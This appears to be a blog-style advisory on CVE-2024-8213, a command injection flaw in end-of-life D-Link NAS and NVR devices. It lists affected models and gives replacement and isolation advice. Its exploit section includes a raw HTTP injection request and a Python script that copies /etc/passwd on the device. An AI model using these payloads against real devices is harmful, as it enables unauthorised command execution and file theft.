CVE-2024-8213 - Critical Command Injection in D-Link NAS Products – How It Works, Exploit Details, and What You Must Do

In August 2024, security researchers identified a critical vulnerability, CVE-2024-8213, affecting a range of legacy D-Link storage devices. This severe flaw can be exploited remotely, allowing attackers to run system commands with full privileges. In this deep dive, we’ll explain the bug in plain English, show you how attackers can leverage it, and tell you what you need to do to stay safe—even if D-Link has ended support for your device.

Affected Products

If you are using any of these D-Link NAS or NVR devices—DNS-120, DNR-202L, DNS-315L, DNS-320, DNS-320L, DNS-320LW, DNS-321, DNR-322L, DNS-323, DNS-325, DNS-326, DNS-327L, DNR-326, DNS-340L, DNS-343, DNS-345, DNS-726-4, DNS-110-4, DNS-120-05, DNS-155-04—up to firmware date 20240814 (August 14, 2024), your system is exposed.

Vulnerability Details

The root of the problem lies in a CGI file, /cgi-bin/hd_config.cgi, specifically in the function cgi_FMT_R12R5_1st_DiskMGR. This function does not properly sanitize input for the f_source_dev parameter. This oversight results in a command injection vulnerability, letting attackers inject and execute arbitrary system commands.

Affects devices with no further security support (EOL).

Vendor status:
D-Link was contacted. They confirmed these products are end-of-life with no plans to fix this issue. Retire and replace your device.

How Does the Exploit Work?

When a user (or attacker) accesses the endpoint /cgi-bin/hd_config.cgi and passes malicious input to the f_source_dev parameter, the unsanitized input can alter the system’s behavior.

Here’s a basic example in plain HTTP

POST /cgi-bin/hd_config.cgi HTTP/1.1
Host: <device-ip>
Content-Type: application/x-www-form-urlencoded

cmd=cgi_FMT_R12R5_1st_DiskMGR&f_source_dev=normal;id>/tmp/pwned.txt;

In this example, the semicolon (;) is used to break out of the intended parameter context, and the following command (id>/tmp/pwned.txt) is then executed on the device. This would write the output of the id command (which user the command runs as) into the file /tmp/pwned.txt.

Below is a Python snippet demonstrating how an attacker could exploit the issue

import requests

target = "http://<device-ip>:<port>/cgi-bin/hd_config.cgi";
payload = "normal;cat /etc/passwd > /tmp/pwned.txt;"
data = {
    "cmd": "cgi_FMT_R12R5_1st_DiskMGR",
    "f_source_dev": payload
}

r = requests.post(target, data=data)
if r.ok:
    print("Exploit sent! Check /tmp/pwned.txt for results.")
else:
    print("Exploit failed, status code:", r.status_code)

Replace <device-ip> and <port> with your device’s actual IP address and port (usually port 80).

What Could an Attacker Do?

- Read or copy sensitive files (/etc/passwd, configuration files)

Original vulnerability report and public exploit:

CVE-2024-8213 at NVD
- D-Link Product Support List (for EOL confirmation)

Exploit databases:

Exploit-DB, Packet Storm

What Should You Do?

There are NO SECURITY FIXES. D-Link will not patch these legacy devices.

Your options are

1. Disconnect the NAS/NVR from the internet immediately – To be clear, don’t port-forward it; block it from remote access.

Replace the device – Switch to a modern, supported solution.

3. Backup and decommission – Copy your data, securely wipe the device, and recycle e-waste responsibly.

Frequently Asked Questions

Q: Is my device impacted if it is not exposed to the internet?
A: It's less risky, but if anyone inside your network gets malware or connects a rogue device, they could still use this exploit.

Q: Is there any kind of temporary mitigation?
A: Disabling the device’s web management, using a firewall to block access, or isolating the device on its own VLAN can add a layer of protection, but does *not* eliminate risk.

Q: Will unofficial firmware fix this?
A: Unlikely. There’s no known community patch as of now.

Conclusion

CVE-2024-8213 is a critical, easily-exploitable bug in many popular D-Link NAS and NVR products. If your device is on the list, you must remove it from service and upgrade to a supported alternative.

Don’t put your data and your network at risk by using a device that cannot be patched.

For further reading and up-to-date community discussion:
- Reddit r/netsec CVE-2024-8213 thread
- D-Link statement on EOL devices


Stay safe!
If you have questions about alternatives, data migration, or securely retiring your NAS, feel free to ask!

Timeline

Published on: 08/27/2024 20:15:09 UTC
Last modified on: 08/29/2024 15:51:33 UTC